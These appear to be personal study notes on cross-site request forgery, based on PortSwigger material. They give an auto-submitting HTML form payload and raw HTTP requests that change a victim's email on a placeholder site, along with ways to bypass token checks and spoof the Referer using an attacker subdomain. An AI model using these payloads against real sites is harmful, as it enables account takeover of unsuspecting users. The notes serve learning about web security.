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CSRF

CSRF (portswigger)

Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. It allows an attacker to partly circumvent the same origin policy, which is designed to prevent different websites from interfering with each other.

for CSRF we need:

  1. relevant action
  2. cookie based session handling: Performing the action involves issuing one or more HTTP requests, and the application relies solely on session cookies to identify the user who has made the requests.
  3. No unpredictable request parameters: The requests that perform the action do not contain any parameters whose values the attacker cannot determine or guess.

HTTP request example

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

email=wiener@normal-user.com

attack example

<html>
  <body>
    <form action="https://vulnerable-website.com/email/change" method="POST">
      <input type="hidden" name="email" value="pwned@evil-user.net" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

csrf token bypass example

some apps validate only post methods

GET /email/change?email=pwned@evil-user.net HTTP/1.1
Host: vulnerable-website.com
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

bypass if the app depends on the token being present

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

email=pwned@evil-user.net

bypass if the token is not tied to the user session:
In this situation, the attacker can log in to the application using their own account, obtain a valid token, and then feed that token to the victim user in their CSRF attack.

CSRF token is tied to a non-session cookie In a variation on the preceding vulnerability, some applications do tie the CSRF token to a cookie, but not to the same cookie that is used to track sessions. This can easily occur when an application employs two different frameworks, one for session handling and one for CSRF protection, which are not integrated together:

This situation is harder to exploit but is still vulnerable. If the web site contains any behavior that allows an attacker to set a cookie in a victim’s browser, then an attack is possible. The attacker can log in to the application using their own account, obtain a valid token and associated cookie, leverage the cookie-setting behavior to place their cookie into the victim’s browser, and feed their token to the victim in their CSRF attack.

   POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv

csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com

CSRF token is simply duplicated in a cookie some applications do not maintain any server-side record of tokens that have been issued, but instead duplicate each token within a cookie and a request parameter.

 POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa

csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com

In this situation, the attacker can again perform a CSRF attack if the web site contains any cookie setting functionality. Here, the attacker doesn’t need to obtain a valid token of their own. They simply invent a token (perhaps in the required format, if that is being checked), leverage the cookie-setting behavior to place their cookie into the victim’s browser, and feed their token to the victim in their CSRF attack.

Referer-based defenses against CSRF easey to change the referer

 <meta name="referrer" content="never">
 http://attacker-website.com/csrf-attack?vulnerable-website.com

If the application validates that the domain in the Referer starts with the expected value, then the attacker can place this as a subdomain of their own domain:

http://vulnerable-website.com.attacker-website.com/csrf-attack

prevention . using csrf token and validation for every methods Some applications correctly validate the token when the request uses the POST method but skip the validation when the GET method is used.